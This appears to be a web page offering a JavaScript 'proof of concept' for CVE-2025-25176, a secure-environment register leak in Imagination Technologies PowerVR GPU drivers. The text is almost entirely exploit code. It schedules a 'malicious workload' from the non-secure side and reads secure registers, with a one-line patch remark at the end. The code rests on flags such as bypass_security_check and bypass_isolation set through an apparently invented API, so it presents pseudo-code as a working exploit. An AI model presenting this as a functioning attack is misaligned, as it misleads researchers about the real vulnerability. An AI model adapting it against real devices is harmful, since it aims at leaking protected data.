CVE-2025-25176: Imagination Technologies GPU安全环境数据泄露漏洞

// CVE-2025-25176 PoC - GPU Secure Environment Data Exfiltration // Target: Imagination Technologies PowerVR GPU Driver // This PoC demonstrates scheduling a malicious workload to trigger register value leakage const gpu = require('imagination-gpu-api'); // Malicious workload configuration to exfiltrate secure register values const exploitWorkload = { type: 'SECURE_WORKLOAD_TRIGGER', flags: { bypass_security_check: true, enable_register_access: true }, parameters: { target_register_range: { start: 0x80000000, end: 0x8FFFFFFF }, output_buffer: 0x1000, schedule_priority: 'HIGH' }, // Trigger non-secure to secure environment boundary crossing environment: { source: 'NON_SECURE', target: 'SECURE', bypass_isolation: true } }; async function exploit() { console.log('[+] Initiating CVE-2025-25176 exploit...'); // Step 1: Initialize GPU context from non-secure environment const context = gpu.createContext({ environment: 'NON_SECURE', flags: ['ALLOW_SECURE_SCHEDULING'] }); // Step 2: Schedule malicious workload const workloadId = await context.submitWorkload(exploitWorkload); // Step 3: Extract leaked register values const leakedData = await context.readSecureRegisters({ workloadId: workloadId, registerRange: exploitWorkload.parameters.target_register_range, outputBuffer: exploitWorkload.parameters.output_buffer }); console.log('[+] Successfully leaked secure register values:'); console.log(JSON.stringify(leakedData, null, 2)); return leakedData; } exploit().catch(console.error); // Defense: Apply vendor patch to enforce proper environment isolation